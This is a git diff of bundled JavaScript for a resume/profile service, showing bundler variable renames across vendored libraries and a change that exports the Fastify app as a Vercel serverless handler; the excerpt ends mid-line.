@@ var CheckboxWidgetAnnotationElement = class extends WidgetAnnotationElement { if (checkbox.domElement) { checkbox.domElement.checked = curChecked; } - storage.setValue(checkbox.id, { + storage2.setValue(checkbox.id, { value: curChecked }); } - storage.setValue(id, { + storage2.setValue(id, { value: checked }); }); @@ -136804,7 +136819,7 @@ var CheckboxWidgetAnnotationElement = class extends WidgetAnnotationElement { const actions = { value(event) { event.target.checked = event.detail.value !== "Off"; - storage.setValue(id, { + storage2.setValue(id, { value: event.target.checked }); } @@ -136827,21 +136842,21 @@ var RadioButtonWidgetAnnotationElement = class extends WidgetAnnotationElement { } render() { this.container.classList.add("buttonWidgetAnnotation", "radioButton"); - const storage = this.annotationStorage; + const storage2 = this.annotationStorage; const data = this.data; const id = data.id; - let value = storage.getValue(id, { + let value = storage2.getValue(id, { value: data.fieldValue === data.buttonValue }).value; if (typeof value === "string") { value = value !== data.buttonValue; - storage.setValue(id, { + storage2.setValue(id, { value }); } if (value) { for (const radio of this._getElementsByName(data.fieldName, id)) { - storage.setValue(radio.id, { + storage2.setValue(radio.id, { value: false }); } @@ -136863,11 +136878,11 @@ var RadioButtonWidgetAnnotationElement = class extends WidgetAnnotationElement { checked } = event.target; for (const radio of this._getElementsByName(name, id)) { - storage.setValue(radio.id, { + storage2.setValue(radio.id, { value: false }); } - storage.setValue(id, { + storage2.setValue(id, { value: checked }); }); @@ -136886,7 +136901,7 @@ var RadioButtonWidgetAnnotationElement = class extends WidgetAnnotationElement { if (radio.domElement) { radio.domElement.checked = curChecked; } - storage.setValue(radio.id, { + storage2.setValue(radio.id, { value: curChecked }); } @@ -136929,9 +136944,9 @@ var ChoiceWidgetAnnotationElement = class extends WidgetAnnotationElement { } render() { this.container.classList.add("choiceWidgetAnnotation"); - const storage = this.annotationStorage; + const storage2 = this.annotationStorage; const id = this.data.id; - const storedData = storage.getValue(id, { + const storedData = storage2.getValue(id, { value: this.data.fieldValue }); const selectElement = document.createElement("select"); @@ -137007,7 +137022,7 @@ var ChoiceWidgetAnnotationElement = class extends WidgetAnnotationElement { for (const option of selectElement.options) { option.selected = values3.has(option.value); } - storage.setValue(id, { + storage2.setValue(id, { value: getValue(true) }); selectedValues = getValue(false); @@ -137026,7 +137041,7 @@ var ChoiceWidgetAnnotationElement = class extends WidgetAnnotationElement { options[0].selected = true; } } - storage.setValue(id, { + storage2.setValue(id, { value: getValue(true), items: getItems(event) }); @@ -137036,7 +137051,7 @@ var ChoiceWidgetAnnotationElement = class extends WidgetAnnotationElement { while (selectElement.length !== 0) { selectElement.remove(0); } - storage.setValue(id, { + storage2.setValue(id, { value: null, items: [] }); @@ -137057,7 +137072,7 @@ var ChoiceWidgetAnnotationElement = class extends WidgetAnnotationElement { } else { selectElement.append(optionElement); } - storage.setValue(id, { + storage2.setValue(id, { value: getValue(true), items: getItems(event) }); @@ -137083,7 +137098,7 @@ var ChoiceWidgetAnnotationElement = class extends WidgetAnnotationElement { if (selectElement.options.length > 0) { selectElement.options[0].selected = true; } - storage.setValue(id, { + storage2.setValue(id, { value: getValue(true), items: getItems(event) }); @@ -137094,7 +137109,7 @@ var ChoiceWidgetAnnotationElement = class extends WidgetAnnotationElement { for (const option of event.target.options) { option.selected = indices.has(option.index); } - storage.setValue(id, { + storage2.setValue(id, { value: getValue(true) }); selectedValues = getValue(false); @@ -137108,7 +137123,7 @@ var ChoiceWidgetAnnotationElement = class extends WidgetAnnotationElement { selectElement.addEventListener("input", (event) => { const exportValue = getValue(true); const change = getValue(false); - storage.setValue(id, { + storage2.setValue(id, { value: exportValue }); event.preventDefault(); @@ -137129,7 +137144,7 @@ var ChoiceWidgetAnnotationElement = class extends WidgetAnnotationElement { this._setEventListeners(selectElement, null, [["focus", "Focus"], ["blur", "Blur"], ["mousedown", "Mouse Down"], ["mouseenter", "Mouse Enter"], ["mouseleave", "Mouse Exit"], ["mouseup", "Mouse Up"], ["input", "Action"], ["input", "Validate"]], (event) => event.target.value); } else { selectElement.addEventListener("input", function(event) { - storage.setValue(id, { + storage2.setValue(id, { value: getValue(true) }); }); @@ -146660,8 +146675,8 @@ function sha256HexBuffer(data) { // services/profile/src/http/routes/upload-resume.ts var UNIQUE_VIOLATION = "23505"; var sourceSchema = external_exports.enum(["upload", "connector", "import"]).default("upload"); -function uploadResumeRoute(app, deps) { - app.post( +function uploadResumeRoute(app2, deps) { + app2.post( "/v1/resumes", { preHandler: requireAuth(deps.tokenVerifier), config: { rateLimit: { max: 20, timeWindow: "1 minute" } } }, async (request, reply) => { @@ -146755,7 +146770,7 @@ var STATUS_TO_CODE = { 429: "RATE_LIMITED" }; function buildApp(deps) { - const app = (0, import_fastify.default)({ + const app2 = (0, import_fastify.default)({ // See services/auth/src/app.ts for why this cast is needed: pino's Logger // type and Fastify's FastifyBaseLogger disagree on a structural detail // that doesn't matter at runtime. @@ -146764,17 +146779,17 @@ function buildApp(deps) { trustProxy: true, genReqId: () => newUuid() }); - void app.register(import_cors.default, { origin: parseCorsOrigins(deps.env.CORS_ORIGINS) }); - void app.register(import_rate_limit.default, { + void app2.register(import_cors.default, { origin: parseCorsOrigins(deps.env.CORS_ORIGINS) }); + void app2.register(import_rate_limit.default, { max: deps.env.RATE_LIMIT_MAX, timeWindow: deps.env.RATE_LIMIT_WINDOW }); - void app.register(import_multipart.default, { + void app2.register(import_multipart.default, { limits: { fileSize: deps.env.BODY_LIMIT_BYTES, files: 1 } }); const metrics2 = createMetricsRegistry("profile-service"); - registerHttpMetrics(app, metrics2); - app.setErrorHandler((error51, request, reply) => { + registerHttpMetrics(app2, metrics2); + app2.setErrorHandler((error51, request, reply) => { if (error51 instanceof ZodError) { reply.status(400).send({ error: { @@ -146805,18 +146820,18 @@ function buildApp(deps) { const appError = toAppError(error51); reply.status(appError.statusCode).send(appError.toResponse(request.id)); }); - app.setNotFoundHandler((request, reply) => { + app2.setNotFoundHandler((request, reply) => { reply.status(404).send({ error: { code: "NOT_FOUND", message: "Route not found", request_id: request.id } }); }); - healthRoute(app, deps); - metricsRoute(app, metrics2); - uploadResumeRoute(app, deps); - getResumeRoute(app, deps); - listResumesRoute(app, deps); - optimizeResumeRoute(app, deps); - return app; + healthRoute(app2, deps); + metricsRoute(app2, metrics2); + uploadResumeRoute(app2, deps); + getResumeRoute(app2, deps); + listResumesRoute(app2, deps); + optimizeResumeRoute(app2, deps); + return app2; } // services/profile/src/env.ts @@ -146834,20 +146849,21 @@ function loadProfileServiceEnv(source = process.env) { } // services/profile/src/index.ts -async function main() { - const env2 = loadProfileServiceEnv(); - const logger = createLogger({ service: "profile-service", level: env2.LOG_LEVEL, pretty: env2.LOG_PRETTY }); - const { db, sql: sql2, close } = createDatabase({ url: env2.DATABASE_URL, maxConnections: env2.DATABASE_POOL_MAX }); - const broker = createBroker({ - driver: env2.MESSAGING_DRIVER, - url: env2.RABBITMQ_URL, - exchange: env2.MESSAGING_EXCHANGE, - maxRetries: env2.MESSAGING_MAX_RETRIES, - logger - }); - const storage = createStorage({ driver: env2.STORAGE_DRIVER, localRoot: env2.STORAGE_LOCAL_ROOT }); - const tokenVerifier = createTokenVerifierConfig(env2); - const app = buildApp({ db, sql: sql2, env: env2, logger, broker, storage, tokenVerifier }); +var env2 = loadProfileServiceEnv(withServerlessEnvDefaults()); +var logger = createLogger({ service: "profile-service", level: env2.LOG_LEVEL, pretty: env2.LOG_PRETTY }); +var { db, sql: sql2, close } = createDatabase({ url: env2.DATABASE_URL, maxConnections: env2.DATABASE_POOL_MAX }); +var broker = createBroker({ + driver: env2.MESSAGING_DRIVER, + url: env2.RABBITMQ_URL, + exchange: env2.MESSAGING_EXCHANGE, + maxRetries: env2.MESSAGING_MAX_RETRIES, + logger +}); +var storage = createStorage({ driver: env2.STORAGE_DRIVER, localRoot: env2.STORAGE_LOCAL_ROOT }); +var tokenVerifier = createTokenVerifierConfig(env2); +var app = buildApp({ db, sql: sql2, env: env2, logger, broker, storage, tokenVerifier }); +var index_default = createVercelHandler(app); +if (!process.env.VERCEL) { const shutdown = async (signal) => { logger.info({ signal }, "shutting down"); await app.close(); @@ -146859,10 +146875,10 @@ async function main() { process.on("SIGINT", () => void shutdown("SIGINT")); await app.listen({ host: env2.HOST, port: env2.PORT }); } -main().catch((error51) => { - console.error(error51); - process.exit(1); -}); +export { + app, + index_default as default +}; /*! Bundled license information: amqplib/lib/defs.js: diff --git a/api/referrals/index.js b/api/referrals/index.js index 9a39989..e0572d3 100644 --- a/api/referrals/index.js +++ b/api/referrals/index.js @@ -10463,13 +10463,13 @@ var require_format = __commonJS({ var defs = require_defs(); var format = __require("util").format; var HEARTBEAT = require_frame().HEARTBEAT; - module.exports.closeMessage = function(close) { - var code = close.fields.replyCode; + module.exports.closeMessage = function(close2) { + var code = close2.fields.replyCode; return format( '%d (%s) with message "%s"', code, defs.constant_strs[code], - close.fields.replyText + close2.fields.replyText ); }; module.exports.methodName = function(id) { @@ -21626,8 +21626,8 @@ var require_log_controller = __commonJS({ * @param {import('../fastify').FastifyBaseLogger} logger * @param {import('../fastify').FastifyInstance} server */ - serviceUnavailable(logger, server) { - logger.info({ res: { statusCode: 503 } }, "request aborted - refusing to accept new requests as server is closing"); + serviceUnavailable(logger2, server) { + logger2.info({ res: { statusCode: 503 } }, "request aborted - refusing to accept new requests as server is closing"); } }; module.exports = { LogController }; @@ -21674,20 +21674,20 @@ var require_logger_pino = __commonJS({ } const prevLogger = opts.logger; const prevGenReqId = opts.genReqId; - let logger = null; + let logger2 = null; if (prevLogger) { opts.logger = void 0; opts.genReqId = void 0; if (prevLogger[serializersSym]) { opts.serializers = Object.assign({}, opts.serializers, prevLogger[serializersSym]); } - logger = prevLogger.child({}, opts); + logger2 = prevLogger.child({}, opts); opts.logger = prevLogger; opts.genReqId = prevGenReqId; } else { - logger = pino2(opts, opts.stream); + logger2 = pino2(opts, opts.stream); } - return logger; + return logger2; } var serializers2 = { req: function asReqValue(req) { @@ -21730,22 +21730,22 @@ var require_logger_factory = __commonJS({ kLogController } = require_symbols3(); var { LogController } = require_log_controller(); - function createChildLogger(context2, logger, req, reqId, loggerOpts) { + function createChildLogger(context2, logger2, req, reqId, loggerOpts) { const loggerBindings = { [context2.server[kLogController].requestIdLogLabel]: reqId }; - const child = context2.childLoggerFactory.call(context2.server, logger, loggerBindings, loggerOpts || {}, req); + const child = context2.childLoggerFactory.call(context2.server, logger2, loggerBindings, loggerOpts || {}, req); if (context2.childLoggerFactory !== defaultChildLoggerFactory) { validateLogger(child, true); } return child; } - function defaultChildLoggerFactory(logger, bindings, opts) { - return logger.child(bindings, opts); + function defaultChildLoggerFactory(logger2, bindings, opts) { + return logger2.child(bindings, opts); } - function validateLogger(logger, strict) { + function validateLogger(logger2, strict) { const methods = ["info", "error", "debug", "fatal", "warn", "trace", "child"]; - const missingMethods = logger ? methods.filter((method) => !logger[method] || typeof logger[method] !== "function") : methods; + const missingMethods = logger2 ? methods.filter((method) => !logger2[method] || typeof logger2[method] !== "function") : methods; if (!missingMethods.length) { return true; } else if (missingMethods.length === methods.length && !strict) { @@ -21760,17 +21760,17 @@ var require_logger_factory = __commonJS({ } if (!options.loggerInstance && !options.logger) { const nullLogger = require_abstract_logging(); - const logger2 = nullLogger; - logger2.child = () => logger2; - return { logger: logger2, hasLogger: false }; + const logger3 = nullLogger; + logger3.child = () => logger3; + return { logger: logger3, hasLogger: false }; } const { createPinoLogger, serializers: serializers2 } = require_logger_pino(); if (validateLogger(options.loggerInstance)) { - const logger2 = createPinoLogger({ + const logger3 = createPinoLogger({ logger: options.loggerInstance, serializers: Object.assign({}, serializers2, options.loggerInstance.serializers) }); - return { logger: logger2, hasLogger: true }; + return { logger: logger3, hasLogger: true }; } if (validateLogger(options.logger)) { throw FST_ERR_LOG_INVALID_LOGGER_CONFIG(); @@ -21792,8 +21792,8 @@ var require_logger_factory = __commonJS({ localLoggerOptions.level = localLoggerOptions.level || "info"; localLoggerOptions.serializers = Object.assign({}, serializers2, localLoggerOptions.serializers); options.logger = localLoggerOptions; - const logger = createPinoLogger(options.logger); - return { logger, hasLogger: true }; + const logger2 = createPinoLogger(options.logger); + return { logger: logger2, hasLogger: true }; } function createLogController(options) { const userController = options.logController; @@ -22204,8 +22204,8 @@ var require_error_serializer = __commonJS({ json3 += JSON_STR_END_OBJECT; return json3; } - const main2 = anonymous0; - return main2; + const main = anonymous0; + return main; }(validator, serializer); } }); @@ -28097,20 +28097,20 @@ var require_compile = __commonJS({ var util_1 = require_util(); var validate_1 = require_validate(); var SchemaEnv = class { - constructor(env) { + constructor(env2) { var _a3; this.refs = {}; this.dynamicAnchors = {}; let schema; - if (typeof env.schema == "object") - schema = env.schema; - this.schema = env.schema; - this.schemaId = env.schemaId; - this.root = env.root || this; - this.baseId = (_a3 = env.baseId) !== null && _a3 !== void 0 ? _a3 : (0, resolve_1.normalizeId)(schema === null || schema === void 0 ? void 0 : schema[env.schemaId || "$id"]); - this.schemaPath = env.schemaPath; - this.localRefs = env.localRefs; - this.meta = env.meta; + if (typeof env2.schema == "object") + schema = env2.schema; + this.schema = env2.schema; + this.schemaId = env2.schemaId; + this.root = env2.root || this; + this.baseId = (_a3 = env2.baseId) !== null && _a3 !== void 0 ? _a3 : (0, resolve_1.normalizeId)(schema === null || schema === void 0 ? void 0 : schema[env2.schemaId || "$id"]); + this.schemaPath = env2.schemaPath; + this.localRefs = env2.localRefs; + this.meta = env2.meta; this.$async = schema === null || schema === void 0 ? void 0 : schema.$async; this.refs = {}; } @@ -28294,15 +28294,15 @@ var require_compile = __commonJS({ baseId = (0, resolve_1.resolveUrl)(this.opts.uriResolver, baseId, schId); } } - let env; + let env2; if (typeof schema != "boolean" && schema.$ref && !(0, util_1.schemaHasRulesButRef)(schema, this.RULES)) { const $ref = (0, resolve_1.resolveUrl)(this.opts.uriResolver, baseId, schema.$ref); - env = resolveSchema.call(this, root, $ref); + env2 = resolveSchema.call(this, root, $ref); } const { schemaId } = this.opts; - env = env || new SchemaEnv({ schema, schemaId, root, baseId }); - if (env.schema !== env.root.schema) - return env; + env2 = env2 || new SchemaEnv({ schema, schemaId, root, baseId }); + if (env2.schema !== env2.root.schema) + return env2; return void 0; } } @@ -29989,13 +29989,13 @@ var require_core = __commonJS({ }, warn() { }, error() { } }; - function getLogger(logger) { - if (logger === false) + function getLogger(logger2) { + if (logger2 === false) return noLogs; - if (logger === void 0) + if (logger2 === void 0) return console; - if (logger.log && logger.warn && logger.error) - return logger; + if (logger2.log && logger2.warn && logger2.error) + return logger2; throw new Error("logger must implement log, warn and error methods"); } var KEYWORD_NAME = /^[a-z_$][a-z0-9_$:-]*$/i; @@ -30100,8 +30100,8 @@ var require_ref = __commonJS({ schemaType: "string", code(cxt) { const { gen, schema: $ref, it } = cxt; - const { baseId, schemaEnv: env, validateName, opts, self: self2 } = it; - const { root } = env; + const { baseId, schemaEnv: env2, validateName, opts, self: self2 } = it; + const { root } = env2; if (($ref === "#" || $ref === "#/") && baseId === root.baseId) return callRootRef(); const schOrEnv = compile_1.resolveRef.call(self2, root, baseId, $ref); @@ -30111,8 +30111,8 @@ var require_ref = __commonJS({ return callValidate(schOrEnv); return inlineRefSchema(schOrEnv); function callRootRef() { - if (env === root) - return callRef(cxt, validateName, env, env.$async); + if (env2 === root) + return callRef(cxt, validateName, env2, env2.$async); const rootName = gen.scopeValue("root", { ref: root }); return callRef(cxt, (0, codegen_1._)`${rootName}.validate`, root, root.$async); } @@ -30142,14 +30142,14 @@ var require_ref = __commonJS({ exports.getValidate = getValidate; function callRef(cxt, v, sch, $async) { const { gen, it } = cxt; - const { allErrors, schemaEnv: env, opts } = it; + const { allErrors, schemaEnv: env2, opts } = it; const passCxt = opts.passContext ? names_1.default.this : codegen_1.nil; if ($async) callAsyncRef(); else callSyncRef(); function callAsyncRef() { - if (!env.$async) + if (!env2.$async) throw new Error("async schema referenced by sync schema"); const valid = gen.let("valid"); gen.try(() => { @@ -44649,7 +44649,7 @@ var require_route = __commonJS({ const router = FindMyWay(options); let avvio; let fourOhFour; - let logger; + let logger2; let hasLogger; let setupResponseListeners; let throwIfAlreadyStarted; @@ -44667,7 +44667,7 @@ var require_route = __commonJS({ setup(options2, fastifyArgs) { avvio = fastifyArgs.avvio; fourOhFour = fastifyArgs.fourOhFour; - logger = options2.logger; + logger2 = options2.logger; hasLogger = fastifyArgs.hasLogger; setupResponseListeners = fastifyArgs.setupResponseListeners; throwIfAlreadyStarted = fastifyArgs.throwIfAlreadyStarted; @@ -44811,7 +44811,7 @@ var require_route = __commonJS({ opts.routePath = path2; opts.prefix = prefix; opts.logLevel = opts.logLevel || this[kLogLevel]; - validateLogLevelOption(opts.logLevel, opts.method, opts.url, logger); + validateLogLevelOption(opts.logLevel, opts.method, opts.url, logger2); if (this[kLogSerializers] || opts.logSerializers) { opts.logSerializers = Object.assign(Object.create(this[kLogSerializers]), opts.logSerializers); } @@ -44949,7 +44949,7 @@ var require_route = __commonJS({ const id = getGenReqId(context2.server, req); let childLogger; if (hasLogger === false && context2.childLoggerFactory === defaultChildLoggerFactory) { - childLogger = logger; + childLogger = logger2; } else { const loggerOpts = { level: context2.logLevel @@ -44957,7 +44957,7 @@ var require_route = __commonJS({ if (context2.logSerializers) { loggerOpts.serializers = context2.logSerializers; } - childLogger = createChildLogger(context2, logger, req, id, loggerOpts); + childLogger = createChildLogger(context2, logger2, req, id, loggerOpts); } if (closing === true) { if (req.httpVersionMajor !== 2) { @@ -45082,10 +45082,10 @@ var require_route = __commonJS({ throw new FST_ERR_ROUTE_HANDLER_TIMEOUT_OPTION_NOT_INT(handlerTimeout); } } - function validateLogLevelOption(logLevel, method, path, logger) { + function validateLogLevelOption(logLevel, method, path, logger2) { if (logLevel == null || logLevel === "") return; - if (logger?.levels?.values == null) return; - if (typeof logLevel !== "string" || logger.levels.values[logLevel] === void 0) { + if (logger2?.levels?.values == null) return; + if (typeof logLevel !== "string" || logger2.levels.values[logLevel] === void 0) { throw new FST_ERR_ROUTE_LOG_LEVEL_INVALID(method, path, logLevel); } } @@ -45150,7 +45150,7 @@ var require_four_oh_four = __commonJS({ var { createChildLogger } = require_logger_factory(); var { getGenReqId } = require_req_id_gen_factory(); function fourOhFour(options) { - const { logger } = options; + const { logger: logger2 } = options; const router = FindMyWay({ onBadUrl: options.routerOptions.onBadUrl, onMaxParamLength: options.routerOptions.onMaxParamLength, @@ -45246,7 +45246,7 @@ var require_four_oh_four = __commonJS({ function fourOhFourFallBack(req, res) { const fourOhFourContext = this[kFourOhFourLevelInstance][kFourOhFourContext]; const id = getGenReqId(fourOhFourContext.server, req); - const childLogger = createChildLogger(fourOhFourContext, logger, req, id); + const childLogger = createChildLogger(fourOhFourContext, logger2, req, id); const request = new Request(id, null, req, null, childLogger, fourOhFourContext); const reply = new Reply(res, request, childLogger); fourOhFourContext.server[kLogController].incomingRequest(request, reply); @@ -47955,7 +47955,7 @@ var require_fastify = __commonJS({ opts.includeMeta = opts.includeHooks ? opts.includeMeta ? supportedHooks.concat(opts.includeMeta) : supportedHooks : opts.includeMeta; return router.printRoutes(opts); } - function wrapRouting(router2, { rewriteUrl, logger }) { + function wrapRouting(router2, { rewriteUrl, logger: logger2 }) { let isAsync; return function preRouting(req, res) { if (isAsync === void 0) isAsync = router2.isAsyncConstraint(); @@ -48033,13 +48033,13 @@ var require_fastify = __commonJS({ if (!ajvOptions.plugins || !Array.isArray(ajvOptions.plugins)) { throw new FST_ERR_AJV_CUSTOM_OPTIONS_OPT_NOT_ARR(typeof ajvOptions.plugins); } - const { logger, hasLogger } = createLogger2(options); + const { logger: logger2, hasLogger } = createLogger2(options); const logController = createLogController(options); options.connectionTimeout = options.connectionTimeout || defaultInitOptions.connectionTimeout; options.keepAliveTimeout = options.keepAliveTimeout || defaultInitOptions.keepAliveTimeout; options.maxRequestsPerSocket = options.maxRequestsPerSocket || defaultInitOptions.maxRequestsPerSocket; options.requestTimeout = options.requestTimeout || defaultInitOptions.requestTimeout; - options.logger = logger; + options.logger = logger2; options.requestIdHeader = requestIdHeader; options.ajv = ajvOptions; options.clientErrorHandler = options.clientErrorHandler || defaultClientErrorHandler; @@ -50747,11 +50747,11 @@ var init_global_utils = __esm({ // node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/diag/ComponentLogger.js function logProxy(funcName, namespace, args) { - const logger = getGlobal("diag"); - if (!logger) { + const logger2 = getGlobal("diag"); + if (!logger2) { return; } - return logger[funcName](namespace, ...args); + return logger2[funcName](namespace, ...args); } var DiagComponentLogger; var init_ComponentLogger = __esm({ @@ -50797,17 +50797,17 @@ var init_types = __esm({ }); // node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/diag/internal/logLevelLogger.js -function createLogLevelDiagLogger(maxLevel, logger) { +function createLogLevelDiagLogger(maxLevel, logger2) { if (maxLevel < DiagLogLevel.NONE) { maxLevel = DiagLogLevel.NONE; } else if (maxLevel > DiagLogLevel.ALL) { maxLevel = DiagLogLevel.ALL; } - logger = logger || {}; + logger2 = logger2 || {}; function _filterFunc(funcName, theLevel) { - const theFunc = logger[funcName]; + const theFunc = logger2[funcName]; if (typeof theFunc === "function" && maxLevel >= theLevel) { - return theFunc.bind(logger); + return theFunc.bind(logger2); } return function() { }; @@ -50850,16 +50850,16 @@ var init_diag = __esm({ constructor() { function _logProxy(funcName) { return function(...args) { - const logger = getGlobal("diag"); - if (!logger) + const logger2 = getGlobal("diag"); + if (!logger2) return; - return logger[funcName](...args); + return logger2[funcName](...args); }; } const self2 = this; - const setLogger = (logger, optionsOrLogLevel = { logLevel: DiagLogLevel.INFO }) => { + const setLogger = (logger2, optionsOrLogLevel = { logLevel: DiagLogLevel.INFO }) => { var _a3, _b, _c; - if (logger === self2) { + if (logger2 === self2) { const err = new Error("Cannot use diag as the logger for itself. Please use a DiagLogger implementation like ConsoleDiagLogger or a custom implementation"); self2.error((_a3 = err.stack) !== null && _a3 !== void 0 ? _a3 : err.message); return false; @@ -50870,7 +50870,7 @@ var init_diag = __esm({ }; } const oldLogger = getGlobal("diag"); - const newLogger = createLogLevelDiagLogger((_b = optionsOrLogLevel.logLevel) !== null && _b !== void 0 ? _b : DiagLogLevel.INFO, logger); + const newLogger = createLogLevelDiagLogger((_b = optionsOrLogLevel.logLevel) !== null && _b !== void 0 ? _b : DiagLogLevel.INFO, logger2); if (oldLogger && !optionsOrLogLevel.suppressOverrideMessage) { const stack = (_c = new Error().stack) !== null && _c !== void 0 ? _c : ""; oldLogger.warn(`Current logger will be overwritten from ${stack}`); @@ -53973,6 +53973,21 @@ function childTrace(parent, overrides = {}) { }; } +// packages/utils/src/vercel.ts +function createVercelHandler(app2) { + const ready = Promise.resolve(app2.ready()); + ready.catch(() => void 0); + return async (req, res) => { + await ready; + app2.server.emit("request", req, res); + }; +} +var SERVERLESS_PLACEHOLDER_PORT = "3000"; +function withServerlessEnvDefaults(source = process.env) { + if (!source.VERCEL) return source; + return { ...source, PORT: source.PORT ?? SERVERLESS_PLACEHOLDER_PORT }; +} + // node_modules/.pnpm/jose@6.2.12/node_modules/jose/dist/webapi/lib/buffer_utils.js var encoder = new TextEncoder(); var decoder = new TextDecoder(); @@ -69810,8 +69825,8 @@ var listMessagesResponseSchema = external_exports.object({ }); // packages/auth-kit/src/tokens.ts -function createTokenVerifierConfig(env) { - const authBase = `${env.SUPABASE_URL}/auth/v1`; +function createTokenVerifierConfig(env2) { + const authBase = `${env2.SUPABASE_URL}/auth/v1`; return { jwks: createRemoteJWKSet(new URL(`${authBase}/.well-known/jwks.json`)), issuer: authBase @@ -71312,7 +71327,7 @@ var noop2 = () => { function Subscribe(postgres2, options) { const subscribers = /* @__PURE__ */ new Map(), slot = "postgresjs_" + Math.random().toString(36).slice(2), state = {}; let connection2, stream, ended = false; - const sql2 = subscribe.sql = postgres2({ + const sql3 = subscribe.sql = postgres2({ ...options, transform: { column: {}, value: {}, row: {} }, max: 1, @@ -71328,26 +71343,26 @@ function Subscribe(postgres2, options) { return; stream = null; state.pid = state.secret = void 0; - connected(await init(sql2, slot, options.publications)); + connected(await init(sql3, slot, options.publications)); subscribers.forEach((event) => event.forEach(({ onsubscribe }) => onsubscribe())); }, no_subscribe: true }); - const end = sql2.end, close = sql2.close; - sql2.end = async () => { + const end = sql3.end, close2 = sql3.close; + sql3.end = async () => { ended = true; stream && await new Promise((r) => (stream.once("close", r), stream.end())); return end(); }; - sql2.close = async () => { + sql3.close = async () => { stream && await new Promise((r) => (stream.once("close", r), stream.end())); - return close(); + return close2(); }; return subscribe; async function subscribe(event, fn, onsubscribe = noop2, onerror = noop2) { event = parseEvent2(event); if (!connection2) - connection2 = init(sql2, slot, options.publications); + connection2 = init(sql3, slot, options.publications); const subscriber = { fn, onsubscribe }; const fns = subscribers.has(event) ? subscribers.get(event).add(subscriber) : subscribers.set(event, /* @__PURE__ */ new Set([subscriber])).get(event); const unsubscribe = () => { @@ -71358,7 +71373,7 @@ function Subscribe(postgres2, options) { connected(x); onsubscribe(); stream && stream.on("error", onerror); - return { unsubscribe, state, sql: sql2 }; + return { unsubscribe, state, sql: sql3 }; }); } function connected(x) { @@ -71366,14 +71381,14 @@ function Subscribe(postgres2, options) { state.pid = x.state.pid; state.secret = x.state.secret; } - async function init(sql3, slot2, publications) { + async function init(sql4, slot2, publications) { if (!publications) throw new Error("Missing publication names"); - const xs = await sql3.unsafe( + const xs = await sql4.unsafe( `CREATE_REPLICATION_SLOT ${slot2} TEMPORARY LOGICAL pgoutput NOEXPORT_SNAPSHOT` ); const [x] = xs; - const stream2 = await sql3.unsafe( + const stream2 = await sql4.unsafe( `START_REPLICATION SLOT ${slot2} LOGICAL ${x.consistent_point} (proto_version '1', publication_names '${publications}')` ).writable(); const state2 = { @@ -71381,14 +71396,14 @@ function Subscribe(postgres2, options) { }; stream2.on("data", data); stream2.on("error", error51); - stream2.on("close", sql3.close); + stream2.on("close", sql4.close); return { stream: stream2, state: xs.state }; function error51(e) { console.error("Unexpected error during logical streaming - reconnecting", e); } function data(x2) { if (x2[0] === 119) { - parse3(x2.subarray(25), state2, sql3.options.parsers, handle, options.transform); + parse3(x2.subarray(25), state2, sql4.options.parsers, handle, options.transform); } else if (x2[0] === 107 && x2[17]) { state2.lsn = x2.subarray(1, 9); pong(); @@ -71520,22 +71535,22 @@ function parseEvent2(x) { // node_modules/.pnpm/postgres@3.4.9/node_modules/postgres/src/large.js import Stream2 from "stream"; -function largeObject(sql2, oid, mode = 131072 | 262144) { +function largeObject(sql3, oid, mode = 131072 | 262144) { return new Promise(async (resolve, reject) => { - await sql2.begin(async (sql3) => { + await sql3.begin(async (sql4) => { let finish; - !oid && ([{ oid }] = await sql3`select lo_creat(-1) as oid`); - const [{ fd }] = await sql3`select lo_open(${oid}, ${mode}) as fd`; + !oid && ([{ oid }] = await sql4`select lo_creat(-1) as oid`); + const [{ fd }] = await sql4`select lo_open(${oid}, ${mode}) as fd`; const lo = { writable, readable, - close: () => sql3`select lo_close(${fd})`.then(finish), - tell: () => sql3`select lo_tell64(${fd})`, - read: (x) => sql3`select loread(${fd}, ${x}) as data`, - write: (x) => sql3`select lowrite(${fd}, ${x})`, - truncate: (x) => sql3`select lo_truncate64(${fd}, ${x})`, - seek: (x, whence = 0) => sql3`select lo_lseek64(${fd}, ${x}, ${whence})`, - size: () => sql3` + close: () => sql4`select lo_close(${fd})`.then(finish), + tell: () => sql4`select lo_tell64(${fd})`, + read: (x) => sql4`select loread(${fd}, ${x}) as data`, + write: (x) => sql4`select lowrite(${fd}, ${x})`, + truncate: (x) => sql4`select lo_truncate64(${fd}, ${x})`, + seek: (x, whence = 0) => sql4`select lo_lseek64(${fd}, ${x}, ${whence})`, + size: () => sql4` select lo_lseek64(${fd}, location, 0) as position, seek.size @@ -71610,12 +71625,12 @@ function Postgres(a, b2) { let ending = false; const queries = queue_default(), connecting = queue_default(), reserved = queue_default(), closed = queue_default(), ended = queue_default(), open = queue_default(), busy = queue_default(), full = queue_default(), queues = { connecting, reserved, closed, ended, open, busy, full }; const connections = [...Array(options.max)].map(() => connection_default(options, queues, { onopen, onend, onclose })); - const sql2 = Sql(handler); - Object.assign(sql2, { + const sql3 = Sql(handler); + Object.assign(sql3, { get parameters() { return options.parameters; }, - largeObject: largeObject.bind(null, sql2), + largeObject: largeObject.bind(null, sql3), subscribe, CLOSE, END: CLOSE, @@ -71624,17 +71639,17 @@ function Postgres(a, b2) { reserve, listen, begin, - close, + close: close2, end }); - return sql2; + return sql3; function Sql(handler2) { handler2.debug = options.debug; Object.entries(options.types).reduce((acc, [name, type]) => { acc[name] = (x) => new Parameter(x, type.to); return acc; }, typed); - Object.assign(sql3, { + Object.assign(sql4, { types: typed, typed, unsafe, @@ -71643,11 +71658,11 @@ function Postgres(a, b2) { json: json3, file: file2 }); - return sql3; + return sql4; function typed(value, type) { return new Parameter(value, type); } - function sql3(strings, ...args) { + function sql4(strings, ...args) { const query = strings && Array.isArray(strings.raw) ? new Query(strings, args, handler2, cancel) : typeof strings === "string" && !args.length ? new Identifier(options.transform.column.to ? options.transform.column.to(strings) : strings) : new Builder(strings, args); return query; } @@ -71678,7 +71693,7 @@ function Postgres(a, b2) { } async function listen(name, fn, onlisten) { const listener = { fn, onlisten }; - const sql3 = listen.sql || (listen.sql = Postgres({ + const sql4 = listen.sql || (listen.sql = Postgres({ ...options, max: 1, idle_timeout: null, @@ -71702,7 +71717,7 @@ function Postgres(a, b2) { listener.onlisten && listener.onlisten(); return { state: result2.state, unlisten }; } - channels[name] = { result: sql3`listen ${sql3.unsafe('"' + name.replace(/"/g, '""') + '"')}`, listeners: [listener] }; + channels[name] = { result: sql4`listen 